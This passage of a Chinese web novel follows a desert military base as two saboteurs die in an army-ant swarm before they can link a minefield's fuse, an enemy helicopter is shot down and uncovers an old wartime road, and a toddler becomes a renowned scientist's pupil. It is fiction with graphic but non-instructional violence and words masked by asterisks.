此刻,高衍舟和严世君已经下了车。严世君率先走到那棵梭梭树下,低头仔细检查了一番。
这棵梭梭树的一半枝叶都被利器削光了,显然是他们事先做好的标记。
“就在这下面,需要把沙子扒开。”
高衍舟应了一声,抄起车上的工兵铲,准备动手。
“等等!”严世君不甘心地握住他的手,“老高,还有两分钟,直升机就来接咱们了,你……你不再考虑考虑?”
“副站长,你看看这情形,”高衍舟冷冷一笑,抬手向他身后一指,“你觉得光凭一架直升机,就能把咱们救走?”
严世君心痛如绞,“真就没有任何机会了?”
“组织会给你记功的。”高衍舟声音毫无波澜。“直升机虽然救不走咱们,至少能记录下来你是怎么牺牲的。”
“你的妻儿,会得到组织很好的抚恤。”
这番话,已经彻底堵**所有回旋的余地。
严世君叹息一声,缓缓松开了高衍舟的手腕。
他摆摆手,语气悲凉,“你动手吧。”
高衍舟忽然笑了。
这是他出现以来,第一次露出笑容。没有阴狠,没有嘲讽,在这生死最后一瞬,反而得到了解脱。
姐姐,姐夫……
我终于做完了能做的事,要来找你们了。
他挥动工兵铲,看准梭梭树下,用力地铲了下去。
“梁团,甜甜,咱们不阻止他们吗?!”
宋大壮已经能看清他们的动作了,他出身老兵,当然能猜到,对方这么做,很有可能是要把**挂弦,引爆整片雷区!
“不能任由他们这么干!梁团,开枪啊!”
梁哲紧紧盯着甜甜脸上的表情,指尖依旧搭在**上,却没有扣动。
他知道,自己此刻,正在进行一场豪赌——赌自己的命,赌所有战友的命,更赌甜甜说的话是真的。
若是在从前,他宁肯以身殉职,也绝不会拿战友们的生命冒险。可这一次,他看到,甜甜小小的脸上,燃着复仇的怒火。
她紧紧攥着小拳头,眼神恨恨地盯着高衍舟,仿佛在静静等待着他们自食恶果。
“我信甜甜。”梁哲轻声开口,语气坚定,“甜甜从来没有出错过。”
这句话,既像是安慰宋大壮,也是在给自己打气。
高衍舟已经挖下了两铲沙子,第三铲铲完,露出了下面埋着的一只木匣。
匣子上有洞,一团红蓝相交的线从洞中伸出,延伸向地下。这就是整片雷区的总引线。
打开木匣盖子,里面是一只黑色的铁销,只要扳开铁销,搭上旁边的接头,就算完成了挂弦。
到那时,随便引爆任何一颗**,都会引起连锁反应。
让这片沙漠陷入雷海。
想象着那既将爆发的漫天火光,想象着数十人被这**炸得血肉横飞,高衍舟脸上露出残忍的笑。
“你们不是研究**吗,老子先用这些土**,把你们炸上天!”
他蹲下身,去扳动黑色的铁销。
严世君仰天长叹一声,知道自己生命已经走到尽头,绝望地闭上了眼睛。
就在高衍舟的指尖即将触碰到铁销的刹那,一股微弱却尖锐的疼痛,忽然从指尖传来,像是被细小的针尖狠狠扎了一下。
“嘶……”
他下意识抖了抖手。
“怎么了?”严世君敏锐地问。
“没事。”高衍舟毫不在意,反正大家马上都要**,这点疼痛不算什么。
他第二次伸出手。
这一次,指尖、手背、指缝中突然同时产生锐痛,像被什么东西咬了一口。
高衍舟不得不抽出手,借着月光仔细打量,只见手背上冒出几个血珠,三五只蚂蚁正趴在他手上,用力地咬着他的血肉。
“什么鬼东西!”
高衍舟连抖两下,都没能甩脱,无奈之下,只得用左手上去拍打,几下过后,将那些蚂蚁尽数捻死。
他低低咒骂一声,这帮人命也太好了,死到临头,居然还能拖延时间。
压下心中的怒火与手上的疼痛,高衍舟第三次伸出手。这一次,他做好了万全的准备。
尽快扳开铁销,引爆**,让所有人都陪他一起死。
可奇怪的事情,在他意想不到的时刻,再次发生了。
不再是短暂的刺痛,而是一股更加火辣密集的剧痛,瞬间席卷了他的整只右手。
速度快到不可思议!
“啊!”
高衍舟再也无法忍受,发出一声凄厉的惨叫。
一直紧张注视着他的严世君压根不敢上前,脚下连退数步。
“老高,你……”
话音未落,他瞳孔骤缩,脸色大变——
只见高衍舟抽回的手掌上,不知何时爬了密密一层黑色,那黑色还在不停蠕动,顺着他的手腕,向他的手臂蔓延。
而高衍舟早已不复往日的冷静,取而代之的,是深入骨髓的恐惧与痛苦,他连连甩手,发出不似人声的惨叫,静夜听来,简直让人毛骨悚然。
“啊啊啊啊啊……!!!”
这恐怖的一幕吓得严世君连连后退,“你,你这是怎么了!”
“救我!快救我!”
高衍舟语无伦次地怪叫着,左手忽然从靴筒里拔出**,咬牙朝自己右臂砍去!
“噗……”
这一刀精准地切入他的血肉,可刀锋太窄,根本不能断臂求生,与此同时,那层黑潮已经跃过肘弯,爬上了他的肩头。
电光火石间
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,严世君猛地反应过来,“行军蚁!是行军蚁!”
见鬼了,明明行军蚁的巢穴在雷区的另一端,怎么这里也有?
如果不是高衍舟执意要给**挂弦,又怎么会碰到行军蚁的老巢!
凡是行军蚁游过的地方,就连钢铁都能腐蚀,何况是他们的血肉之躯!
一片刺眼的光束从身后传来,严世君仓皇回望,只见军方的车辆正整齐地停在不远处,车灯亮着,将这片区域照得如同白昼。
整个队伍鸦雀无声,士兵们静静地坐在车里,像是一群看客,冷冷地注视着他们的惨状,看着他们自己,亲手把自己埋葬进地狱。
严世君忽然觉得,死亡或许并不可怕,被**炸成碎片,也只是一瞬间的痛苦。
可被这些小小的行军蚁,一点点啃咬、吞噬,那种痛苦,比跌入阿鼻地狱,还要可怕千倍万倍!
“啊啊啊,杀了我……快杀了我……”
高衍舟的惨叫还在身后回荡,此刻的他,已经彻底没了往日的模样,整个人匍匐在沙地上。
无数的黑色蚂蚁爬满了他的下半身,正疯狂地蚕食着他的血肉,吮吸着他的骨髓。
却偏偏不让他立刻死去,仿佛要让他活生生地承受这份凌迟般的痛苦。
严世君被这恐怖的一幕吓得面无人色,不停地向后**,脚下一软,整个人重重摔在了地上。
“啊——!”
想到地上随时可能出现行军蚁,他又条件反射地蹦了起来。
“我投降!我投降!”
严世君再也承受不住残酷的心理与生理双重打击,崩溃地大喊着,向梁哲的吉普车跌跌撞撞地跑来。
“饶了我……我投降!政府……同志……我全招!”
“严……严世君……”
高衍舟绝望的声音饱含恨意,他趴在地上,残余的左手因为疼痛已经深扎进沙土里,却只能眼睁睁看着唯一能救他的人,逃向了敌方的阵营。
忽然间,他脑海里闪过一个熟悉的身影——杜峰。
他被毒蛇咬中时,自己也是这样满脸冷漠,如避蛇蝎般退开,任由他在痛苦中死去。若是那时,自己能伸出援手,救杜峰一命……
“咳……呕……”一大捧鲜血从他的口鼻中喷涌而出,溅在沙地上,染红了身下的沙土。
行军蚁已经钻入他的体内,正在啃咬他的五脏六腑。
他不甘心!他好恨!
就算死,也不该自己一个人死!
凭着最后一丝残存的狠劲,他颤抖着抬起仅剩的左手,从怀中摸出一把**。
手指因为极致的疼痛与虚弱,不停地颤抖着,视线早已模糊不清,只是凭着本能,瞄准了严世君的后心。
去……死……吧……
第85章 **绝杀!敌机坠沙海,飞机下面有东西!
然而,就在他想扣动**的一瞬,蚂蚁忽然爬上了他的左手,狠狠咬了下去!
疼痛瞬间淹没他的整只左手。
很快,更多的行军蚁覆上他的身体,把他包裹在一片黑潮之中,窸窣的声音越来越响,最终,漫过了他的头颅。
听到动静的严世君踉跄回头,在看清高衍舟临死之前,还不忘要拿枪打死自己时,他忍不住发出一阵疯狂的大笑。
“活该!”他指着已经没有人形的那滩白骨,“王八蛋,临死还想拉老子垫背,告诉你!你骨头渣子都不剩,老子也能活得好好的!”
他一边疯狂地大笑,一边转身,再次朝着梁哲的吉普车奔去,嘴里不停地大喊着:“政府!政府!我全招,我把所有秘密都告诉你们,求求你们,救救我,饶我一……”
最后一个“命”字还没说出来,脚下沙土忽然微微一陷,他的一只脚,已经踩进了一个沙坑里。
就在同一时间,密密麻麻、尖锐刺骨的疼痛从脚下蔓延而上,迅速攫取了他所有的神经。
“不——!”
严世君吓得魂飞魄散,但就算他再怎么扭动身体,也摆脱不了行军蚁的纠缠。
它们正顺着沙土,一点点将他掩埋。
严世君的惨叫声,越来越凄厉,越来越绝望,却也越来越微弱……
最终,被风沙与蚂蚁爬行的声响,彻底淹没。
梁哲等人坐在车内,静静地看着这一切,他下意识伸出手,想要捂住甜甜的眼睛,不让她看到这血腥恐怖的画面。
可甜甜却拨开了爸爸的大掌。
甜甜稚嫩的脸上,不再有属于孩童的恐惧,她仰起头,对上父亲的视线,轻声说道:“爸爸,坏人被蚂蚁吃掉了,沈阿姨不会生气了。”
梁哲心中一酸,明白了女儿的意思。
他将小小的身子搂在怀里,眼前浮现出沈若文释然的微笑。
“坏人伏法,沈阿姨她,应该没有遗憾了。”
不只是她,还有被无辜伤害的李桂华,从生死一线中抢回母子性命的邢玉秀,以及**得到救治的郑宏教授,都得到了正义的伸张。
就在这时,头顶忽然传来螺旋桨的轰鸣。
搅动的大风卷起黄沙,两道刺目的光柱从漆黑的夜空中直劈而下!
“是直升机!”
“准备战斗!”
战士们的预警声刚落,直升机的舱门便已划开,两挺冒着火舌的重****探了出来。
“突突突——!”
一连串**溅射在梁哲的车前,打得沙土飞扬。
梁哲浑身绷紧,一把将甜甜搂进怀里,用整个身体将她护在座椅下方!
“别怕,爸爸在!”
几乎在同一瞬,宋大壮的油门一轰到底,方向盘猛打,军车在千钧一发之际划出一道惊险的弧线,险之又险地避开了致命的扫射!
“**手!”他冲着电台嘶吼,“给老子把它揍下来!”
敞篷吉普上,**手早已就位,肩头顶着一挺苏制14.5毫米高射**,有效射程直达一千八百米。
狂暴的火力足以撕开直升机装甲,击穿油箱、旋翼,是基地压箱底的大杀器。
对方亦非善类,两名**手抵在舱门边,借着居高临下的优势疯狂扫射。
**如骤雨般泼洒而下,不时凿在军车钢板上,发出“噗噗”的闷响,溅起一簇簇火星。
宋大壮已将车头调离交火核心区,眼见双方火力胶着不下,不由得焦躁起来。
“团长,怎么办!”
梁哲盯着头顶盘旋的飞机,眉头皱紧。
就在这时,凭空响起一声炸雷!
“都闪开!”
白旅长一把扯下军帽,劈手夺过高射**!
他沉腰坐马,双臂肌肉暴起,重**硬生生抬高了五个度,对准直升机油箱腹地悍然开火!
“砰砰砰砰——!”
火舌狂喷,**震耳欲聋。
夜空中隐约传来惊叫,直升机驾驶员向后猛拉操纵杆,机体挣扎着向上攀升。
可还是晚了半拍。
一串炽热的**追着攀升的轨迹,狠狠钉进了直升机的尾翼连接处。
“咚——!”
金属断裂的爆鸣刺破夜空!
火星四溅,如同炸开一朵烟花。
舱内的惊呼被**的声浪吞没,整架直升机如同醉汉般在空中剧烈一晃,歪歪斜斜地转了半圈。
驾驶员使出最后力气,将油门一推到底,机身拖着残破的尾翼,朝着东南方向摇摇晃晃窜了出去。
白旅长紧追不舍,调转枪口,冲着逃逸的飞机持续扫射。只可惜地上跑的终究追不上天上飞的,几轮**射出,纷纷落了空。
但所有人都已看清,直升机的尾翼上,正燃烧着一团橙红火焰,机体像一颗失控的流星,在夜幕中拖出滚滚的浓烟。
梁哲护着甜甜直起身,父女俩一同摇下车窗,望向远处那颗“火流星”。
甜甜伸出小手一指,声音轻脆:“爸爸,它会掉下来。”
这也正说出了每个人的心声。
“旅长,”梁哲接通电台,“这高度,不可能有活口了吧?”
白旅长将滚烫的**抛回给射手,冷峻的脸上毫无温度:“追上去,看看能从那堆废铁里捡到什么玩意
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。”
两辆军车载着全副武装的战士们,朝着直升机逃窜的方向疾驰而去。
没驶出多远,夜空中便传来一声沉闷的巨响。
那架拖着残躯苦苦支撑的直升机,终于在最后一次剧烈的摇摆后,像只被击碎的巨鸟,直挺挺地栽向沙海。
“轰!”
“嘭——!!”
沙地剧震,瞬间炸出一个巨大的深坑。
残骸与零件四散飞溅,更大的火光熊熊燃起,将周围的沙地映得一片通红。
战士们飞身下车,抓起车座上的棉被奋力扑打着火舌,也有人拿起铲子往上盖沙子。
机上三人中两人当场毙命,余下一人浑身裹满碎屑和火苗,正挣扎着从扭曲的残骸中向外爬。
立刻有人扑上去帮他扑熄火焰,把他抬了出去。
“报告旅长,还有一个活的!有意识!”
“先带回去治伤,别弄**。”
放下电台,白旅长胸中那口憋屈已久的恶气才终于吐出。
他吩咐警卫员,“留下一部分人收尾,其余人掉头,返回基地。”
“是!”
队伍重新集结,准备撤离,被梁哲抱在怀里的甜甜忽然扭了扭身子。
“怎么了宝贝,是不是累了?”梁哲关切地问。
甜甜拽着爸爸的袖子,“爸爸,甜甜要找白爷爷。”
宋大壮闻言,十分有眼力见地将电台话筒递了过来。
“喂,是甜甜吗?”话筒另一端,白旅长冷硬如铁的声音瞬间融化,充满了几乎要溢出来的慈爱,“找爷爷什么事呀?”
“白爷爷,甜甜想去看飞机。”
“乖,飞机还烧着火呢,危险。”白旅长只当她是小孩子好奇,温声哄着,“等火扑灭了,爷爷再带你去看好不好?”
“不嘛,爷爷,就现在!甜甜现在就要看!”
要是别人提出这要求,肯定会被白旅长扳着脸训斥一番,但甜甜既然说了,就算要天上的星星,白旅长都会照办。
“你等爷爷一下。”
他捂住话筒,转向警卫员,语气瞬间严肃:“排查坠机现场,确认没有二次**风险!动作快点,甜甜要过来!”
随后,他又换回哄孩子的语气,“甜甜乖,等爷爷几分钟,先让你爸爸把车开过来。”
旅长发了话,宋大壮哪敢耽搁,立刻驱车靠近。白旅长早已在车外等候,伸手就将小姑娘接了过来。
“好孩子,累了一天了,咱们该先回基地吃饭呀。”
“白爷爷,”甜甜小手环着旅长的脖子,另一只手指向仍在冒着烟的坠机点,“大飞机下面,有东西。”
第86章 尘封 20 年!敌特坠机,撞出天大秘密
“有东西?”白旅长精神一振,有东西好啊,小福星十拿十稳,从来没失过手,就是不知道,这飞机砸出的大坑下,能有什么宝贝。
“警卫员!传令,加快清理速度!”
“是!”
其余战士得到命令纷纷上前帮忙,很快,明火被彻底扑灭,所有隐藏的着火点和潜在隐患也逐一排除。
“报告,火已扑灭,现场确认安全!”
“拿工兵铲,以坠机点为中心,把四周的沙坑给我挖开!”白旅长下令。
直升机残骸沉重,一时挪不动,但把这一米多深的坑继续扩大,倒不是件难事。
战士们抡起工兵铲,对着沙坑一通奋力挖掘,不多时便挖了数十公分。
忽然,只听“锵”的一声锐响——
是铲尖与某种坚硬物体猛烈摩擦的声音。
“有东西!真的有东西!”
战士兴奋地大喊起来,欢呼声中,铲子挥得更快了。
一片更大的区域很快被清理出来。然而,当众人看清脚下显露出的东西时,却都面面相觑,愣住了。
“这……”
有战士挠了挠头,露出困惑的神情。
有人不死心,蹲下身用铲子边缘敲了敲,表情愈发古怪。
“怎么回事?”白旅长抱着甜甜走近,目光落向坑底,也不由得一怔。
脚下,是一片用砾石夯土打造的坚硬地面,平整结实,与周围松软的沙地截然不同。
白旅长伸脚用力踩了跺,又沿着战士们挖出的边缘丈量了一圈,渐渐地,他的目光变得凝重起来。
“不太对劲。”他看向围拢过来的梁哲、宋大壮等人,“我老了,眼神不济,你们瞧瞧,这像不像一条修筑好的路基?”
梁哲其实早已察觉蹊跷,直觉告诉他,这绝对不是自然形成的地貌。
“旅长,我再往两边扩扩看。”
他接过一把工兵铲,沿着沙土边缘挖掘,没挖几下,铲尖“哐”的一声,碰到了一件坚硬的铁器。
众人立刻举着手电围上来,原来是一块布满锈迹的路牌。小心拂去上面的灰土,依稀看到几个模糊不清的汉字:
“关外驿道……昭和十八年建”。
“昭和十八年……”白旅长低声重复,从这几个字中读出了久违的历史厚重感。
“小鬼子修的路?”
在场的年轻战士居多,有很多没经历过那场惨烈的战争,有人好奇地问,“旅长,这是哪一年?”
“1943年,”白旅长声音沉郁,“快二十年了。”
他抚摸着这块布满风霜的路牌,思绪渐渐飘远,想起了一个流传许久的传说。
当年,小鬼子横行霸道,不仅在大夏土地上烧杀抢掠、无恶不作,还曾深入西北沙漠腹地,疯狂寻找他们臆想中的“圣地宝藏”。
传说中,他们真的在沙漠深处找到了一座湮没在黄沙之下的古城,里面堆满了前朝遗留下来的巨额财富。
为了把这些财宝顺利运出沙漠,小鬼子秘密抽调了大量人力物力,修筑了一条军用运输通道。
为了不让事情败露,引起国际社会的声讨,此事一直偷偷摸摸地进行,对外绝口不提。
就在修路即将进入尾声,战局突然急转直下,小鬼子在前线节节败退,搬运宝物的任务也被迫中断。
这条耗费了无数心血的运输通道也随之被风沙掩埋,成为了一个尘封几十年的秘密。
谁也没想到,在这般近乎离奇的巧合之下,竟随着敌特直升机的坠毁,让这个尘封已久的秘密重见天日!
白旅长强压下心中的惊涛骇浪,招手叫过通信兵。
“把这里的精确坐标传回基地。通知技术部门,明天一早带上设备,过来好好查一查。”
顿了顿,他的声音难掩激动,“同志们,告诉大家一个好消息,我们可能发现了一条保存完好的军用路基!”
就在不久前,基地高层刚刚通过决议,将修筑公路列为长远计划,以备日后运输重型**部件、进行场外打靶测试,以及部队的快速机动部署。
但修路工程难度极大,不仅要有专业的工具和人员,还要投入大量精力,预算方面更是天文数字。
而现在,这条现成的路,竟真的在基地特有的“好运”眷顾下,以这种意想不到的方式,送到了他们面前!
这简直就是雪中送炭!
战士们闻讯,也全都喜笑颜开。
“**,
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那敢情好啊!小鬼子虽然浑蛋,倒是给咱留下个好东西。”
“以后咱们运大件,是不是就能从这路上走了?看这方向,去基地也不绕远。”
“嘿,你们瞧,这路修得可够宽的,并排跑四辆东风大卡都绰绰有余!”
“好了!先别瞎嚷嚷!”白旅长拍了拍手,打断了大家你一言我一语。
“都别高兴得太早,现在这条路能不能用,有多长,修到哪,还都是未知数,需要让专家勘探过才行。”
梁哲点点头,“幸好郑宏教授身体已经没有大碍,还能继续主持工作,有他在,一定能尽快查清这条路的详细情况。”
“没错,”白旅长大手一挥,“咱们马上回基地,趁着各位**还没休息,把这个天大的好消息报告上去!”
说着,他忍不住把甜甜往高处举了举,小姑娘被这突如其来的动作逗得咯咯直笑,羊角辫在空中晃来晃去。
“好孩子,又给咱们基地立了大功!跟爷爷回去,让你大嘴叔叔给你做好吃的,管够!”
夜里九点半,基地依然灯火通明。
刘司令、钱教授以及王总设计师等诸多领导,都守在基地大门外,不住向远处眺望。
“阿嚏!”
一阵风吹过,钱教授忍不住打了个喷嚏,身边的警卫员连忙递上一直捂在怀里的暖水杯,“钱老,快喝口热水暖暖。”
钱教授接过来抿了一口。刘司令劝道:“你就莫站在风口里等了,明天一早,我保证把娃娃安安全全送到你跟前。保准啷个事没有。”
钱教授笑道:“没事,我不困。和大家一起等,心里踏实。”
“钱老,围巾您戴上。”王总设计师摘下自己的围巾,不由分说地围在钱教授脖子上,“您天天熬夜,更得注意身子。”
“哎呀老王,我哪有那么娇气。”钱教授推辞不过,只好把围巾拢紧了些。
众人在大门前踱着步,嘴上闲聊着,心里却都牵挂着那个小小的身影。
甜甜失踪不过一天,对他们来说,却像是过了好几日。
就在众人依旧翘首以盼时,远处,一片耀目的大灯连成光海,伴随着引擎的轰鸣声,飞驰着向基地驶来。
第87章 谁信!萌宝要造**?钱老点头:我亲自教
“回来了!”
不知谁先喊了一句,等待的人群立刻沸腾起来,大家迫不及待地迎了上去。
最前面的车刚停稳,警卫员便拉开车门,白旅长抱着甜甜下车,连梁哲都被挤在后面。
“司令!”白旅长大步走到刘司令面前,敬了个军礼,“报告**,孩子平安救回,而且……还有意外发现。”
“发现一会儿再说!”刘司令迫不及待地伸出手,想去接甜甜。王总设计师却比他快了半步,也伸手要抱孩子。
谁知小家伙身子一扭,朝旁边的钱教授张开双臂:
“钱爷爷!”
“哎——!”
原本落后几步的钱教授一听,一秒都不迟疑,立刻把孩子接了过来。
刘司令和王总设计师四只手悬在半空,眼睁睁看着那个软乎乎的小团子钻进了钱教授怀里。
两位顶级大佬对视一眼,摇了摇头,都苦笑起来。
“唉,抢不过钱老啊。”王总设计师无奈叹气,“论专业我不如您,论魅力更比不了,现在连个孩子都和你更亲。”
刘司令也连连摆手,“莫得办法,莫得办法,我可不敢和钱老争。”
钱教授抱着甜甜,仔细打量着她。虽然梁哲早已通过电台汇报过情况,但他还是不放心。
现在看甜甜既没有受伤,也在车上吃过罐头,不至于饿肚子,这才松了口气。
这一天对于一个幼童来说,定然是一场可怕的经历。大人们都默契地不提不问,生怕勾起那些恐惧的记忆,给幼小的心灵留下可怕的阴影。
“乖囡,饿了吧?”钱教授轻轻握住甜甜的小手,“灶上给你留了饭,爷爷带你去吃。”
甜甜却摇摇头,认真地说,“钱爷爷,甜甜想和爷爷们一起造**!”
“什么?”
这话一说,不但梁哲,刘司令、王总设计师等人都以为自己听错了。
钱教授却笑了。
“好!有志气!不愧是咱们基地的小福星!”
钱教授没有因为这天真的童言就怀疑或否定,反而赞许地点头,“科学意识就该从小培养,尤其是在咱们这种环境里。”
“不过,”王总设计师忍不住弯下腰,轻声问,“甜甜怎么突然想造**呢?”
甜甜一听,大眼睛眨了眨,眼圈倏地红了。
钱教授心里一紧,立刻意识到这个问题可能触到了孩子的伤心处。他正要岔开话题,甜甜却把小脸埋进他肩头:
“钱爷爷,”小姑娘声音里带着哽咽,“是沈阿姨,沈阿姨睡着了,再也不会醒了。可是她让甜甜学**。”
小姑娘泪眼婆娑,但语气坚决,“甜甜答应她了。”
听到“沈阿姨”三个字,众人都沉默下来。
梁哲之前已简单汇报过沈若文牺牲的情况,没想到,她在生命最后一刻,竟把这颗种子埋进了三岁孩子的心里。
可这毕竟只是孩子的童言童语,“造**”三个字谈何容易,别说她是个连托儿所都没去过的奶娃娃,就是许多大学生、研究生,终其一生也未必能窥见**门径。
在钱教授回国之前,整个大夏,甚至都没人真正见过**的模样。如今基地的这支研发队伍,几乎是钱教授凭一己之力带起来的,其中的艰难与不易,在场的每个人都深有体会。
因此大家只把这话当成一句伤心时的承诺,听过就算,没人当真。
大家更在意的是如何安慰这个受伤的小小心灵,如何从物质和生活上好好补偿她。
唯独钱教授认真地问道,“甜甜,你真要和爷爷学?”
“嗯!”甜甜用力点头,眼神坚定。
梁哲走上前,向钱教授歉意地笑笑,蹲下身摸摸女儿的头,“宝贝,学造**要等你长大些,这里面学问深着呢,你要是真想学,咱们先从认字开始,好不好?”
“甜甜知道!”小姑娘仰着小脸,表情严肃,“甜甜全都要学!认字也学,造**也要学。”
梁哲为难了,让这么小的孩子接触国家顶尖科技,让别人知道,一定以为他女儿疯了。
可他也
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清楚,自己的女儿确实有着不同寻常的过人天赋。
会不会她学起知识来,真的比别人事半功倍?
“钱爷爷太忙了,你看,他连睡觉的时间都不够。基地的任务又重,咱们不能打扰他工作。”
甜甜一听,眼巴巴地望向钱教授:“爷爷,甜甜乖乖的,保证不乱说话、不吵爷爷,也不惹爷爷生气。”
所有人的目光都落在钱教授身上,大部分人都认为这是天方夜谭,根本是孩子的异想天开。
以钱教授治学的严谨,对待科学的认真,怎么可能允许一个三岁娃娃参与如此高精尖的工作?
也有极少数人隐约觉得,甜甜或许和普通孩子不一样。别人从一加一开始学,对她而言,说不定一接触,就能领会更深的门道。
当然,会这么想的“极少数”,现场不过两个人。
一个,是王总设计师。
另一个……钱旅长欲言又止,把到嘴边的建议咽了回去。
这种事,他根本插不上嘴。
钱教授沉吟了几秒,目光一直和甜甜对视,甜甜也睁大眼睛回望,小表情严肃认真。
几秒,或许半分钟,也许更久。钱教授缓缓开口:
“好,你就跟着爷爷学。”
“哇,真的吗?”甜甜破涕为笑,喜得直拍手。
梁哲瞪大眼睛,几乎不敢相信自己的耳朵。
周围众人也都露出了难以置信的表情。
“开、开玩笑的吧……”宋大壮喃喃自语,没有人比他更清楚这个决定的分量,他自己曾有一次误入研究室附近,还没进门,就被钱教授冷着脸撵了出来。
他给的理由非常充分,非科研人员,不得接近**研发区域,无关人员,更是严禁靠近。
给宋大壮留下了不小的心理阴影,有好长一段时间,他见到钱教授都只敢绕道走。
至于研究室,更是压根不敢去。
没想到甜甜三言两语,就让一向严格,不近人情的钱教授点头同意了?
这,这也太不可思议了!
第88章 全员懵圈!连字不识的奶娃,走进第一研究室
钱教授没有笑,虽然他平常看甜甜时总是笑呵呵的,从不板着脸,但这一次,他的表情格外严肃。
“乖囡,你想和爷爷学造**,可以。但我得和你约法三章。”
甜甜还不懂这个成语的意思,但她隐约明白,钱爷爷是要和自己讲条件。
“爷爷工作的时候,你只能坐在自己的位置上,不准乱动、不准说话、也不准提问。”
“你只能自己看、自己听、自己学。但爷爷会考你,如果答不上来,你就不能继续待在这儿。”
“你不光跟着爷爷学,爷爷还会安排别人教你基础知识。如果考试不合格,也不能继续学**。”
“这些条件,你能做到吗?”
刚才还在惊讶钱教授竟会答应的人,此刻都暗暗松了口气,心中佩服起钱教授的智慧。
同时也对他提出的这些苛刻条件,连连摇头。
别说她才三岁,就算二十三岁,不让问,不让说,还要随时接受考核,有几个人能保证合格?
那些如天书般的**理论知识和复杂的操作,甜甜恐怕一句话都听不懂。
还要同时学好几样,通不过就得退出,这条件,能达标的大概只有神仙。
宋大壮心想,原来钱老是用这种方式变着法地拒绝甜甜,既不让甜甜伤心,又坚持了原则。
不愧是钱教授,厉害,真厉害。
甜甜咬着小手指,大眼睛忽闪着认真思索。旁边有人看不下去,想抱她去吃饭,可见钱教授神情严肃,甜甜也一脸郑重,又让大家没法上前劝阻。
过了一会儿,甜甜点点头:“好,甜甜都听爷爷的。”
周围人的表情顿时精彩纷呈。
一个是三岁的,还不认字的奶娃娃,一个是享誉世界的,顶级国宝科学家,这两人居然要成为师生?
光是想象那画面,就让人觉得太过魔幻。
刘司令凑到王总设计师身边,放轻声音:“老伙计,明儿你们的课题我也去,记得叫我。”
王总设计师揉了揉太阳穴:"司令,您能不能别这么好奇?"
"哎,莫要这么说嘛!我可见过钱老黑着脸骂人的!万一骂哭咱乖宝......"
虽然钱老平时待人接物和蔼可亲,但那是在科学之外,一旦涉及科研,严厉是出了名的。要是甜甜不小心触了逆鳞,他可得第一时间把孩子“救”出来。
“钱老,这都是甜甜的孩子话,您别往心里去。科研是国家大事,我不能让她添乱。”
孩子年纪小不知轻重,但作为她的父亲,梁哲却清楚其中的分寸。研究室里的每一件东西,材料、部件,哪怕只是一张图纸,都关乎国家安危,就算甜甜不小心碰到,他也承担不起这个责任。
奇怪的是,钱教授却笑了笑:“我们要相信甜甜。她答应过我,不说话、不乱动,应该能做到。”
他低头问怀里的孩子:“乖囡,爷爷说得对不对?”
“嗯!”甜甜用力点头,眼里透出一股超乎年龄的坚毅,“甜甜向爷爷保证,要是做错了,爷爷就把甜甜撵出去。”
这下连梁哲都无语了,他从没想到,自己的女儿竟然真的会有恒心和毅力。看来沈若文的离开,真的给了她很大的触动,让她似乎一夜之间长大了很多。
“好,那就这么定了。现在,爷爷带你去吃饭!”
钱教授抱起这个最小的“弟子”,笑吟吟地朝营房走去。
后勤部长赵有田赶忙吩咐战士:“快去通知李大嘴,把饭送到……”他望着钱教授的背影,咂了咂嘴,感觉像在做梦。
除了几位受器重的科研人员,谁有资格进钱老的营房?那里可全是高规格的文书材料和研究笔记。
但看这架势,甜甜是破例了。
“送去钱老营房,从明天起,咱们的小福星就是钱老的徒弟了。”
白旅长见众人散去,快步追上刘司令,汇报了今天发现路基的事。
刘司令一拍大腿:“好嘛!又给老子省了百十来万!咱们基地啊,真是有福气!”
他指示道:“明天先带人去做基础勘测。等郑宏教授那边管网维修收尾了,身体也能吃得消,就请他亲自去看看。”
白旅长立正敬礼,“是。”
惊心动魄的一天总算过去了,也算有惊无险的圆满解决。
李桂华没有外伤,经过休息后已无大碍。
邢玉秀被紧急送到医院抢救,万幸的是,最终母子平安。只是她失血过多,还需要休养一段时间。
而甜甜经过这一天的波折,忽然像变成了个小大人,第二天一早,她就已经爬起来,催着爸爸帮她穿衣服。
“爸爸,甜甜今天要上学啦!”
梁哲看着自己眼前的小豆丁,有些哭笑不得。
别人上学,去的是托儿所,学的是从一数到十,他的女儿倒好,直接跟着世界顶级火箭专家学,这要让别人知道,还以为他在做梦。
“乖宝贝,你知不知道钱爷爷是什么人啊,跟着他学习的,可都是全国最聪明的科学家,你……你……”
他连说了两个“你”字,最后,怕打击到她的积极性,换了句说法,“你就不怕学不会,被爷爷骂吗?”
“钱爷爷才不会骂甜甜呢。钱爷爷喜欢我!”
小姑娘摆弄着小辫子,大眼睛亮晶晶的。
“……”
梁哲心说
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,你是没见过钱爷爷发火,唉算了,相信他老人家也不会和你个奶娃娃计较,最多在研究室坐两天,他就找个理由把你撵出来了。
想到这里,又有些心疼自家闺女。
李桂华敲门进来。甜甜一见她,立刻扑上去抱住:“李阿姨,你好些了吗?还疼不疼?甜甜好担心你。”
李桂华心疼地摸着甜甜的小脸,柔声哄了好一会儿,才仔细地给她梳起辫子。
等孩子收拾妥当,李大嘴送来了早餐。大家都对甜甜的新身份好奇不已。
李大嘴摸出几块奶糖塞进她口袋里,“宝贝啊,要是瞧见爷爷叔叔们发火,你就把糖给他们,冲他们使劲撒娇,保证没人舍得说你。”
“甜甜最乖了!”小姑娘仰着小脸蛋,不服气地说,“才不会惹他们生气。”
“对对,你最乖。你是天下最可爱的小宝贝。”李大嘴说完,还是不放心地把糖多塞了几块。
其他人也都纷纷围了过来,有给甜甜送书包的,有给甜甜拿钉好的小本子,还有人把削好的铅笔放在精心糊制的纸盒里,——这是小姑娘第一个铅笔盒。
梁哲看得有些无奈:女儿连字都不会写,要这些有什么用?
可甜甜却开心极了。她高高兴兴地把文具装进书包,往肩上一挎,挺胸抬头,还真有几分小学生的模样。
“爸爸,甜甜要去上课啦!”
“好,爸爸送你去。”
梁哲拉起女儿的小手,身后跟着浩浩荡荡的“送学队伍”。
到了研究室附近,梁哲就不能再往前了。钱教授有规定:无关人员不得接近研究区。
好在王总设计师早已等在门口,刘司令也匆匆赶来。
梁哲忐忑地把女儿往前轻轻一推:“王总,司令……”
“放心,不会让孩子受委屈的。”王总设计师笑呵呵地说,“你把钱老想成什么了?他又不是**的老虎。”
领教过钱教授在学术上那股较真劲儿的人,都在心底默默摇头——那些各领域的顶尖人才,可都没少挨钱老的训。
“来,跟爷爷进去吧。钱爷爷已经在里面等你了。”
王总设计师抱起甜甜,在众人眼巴巴的注视中,跨进了研究室的大门。
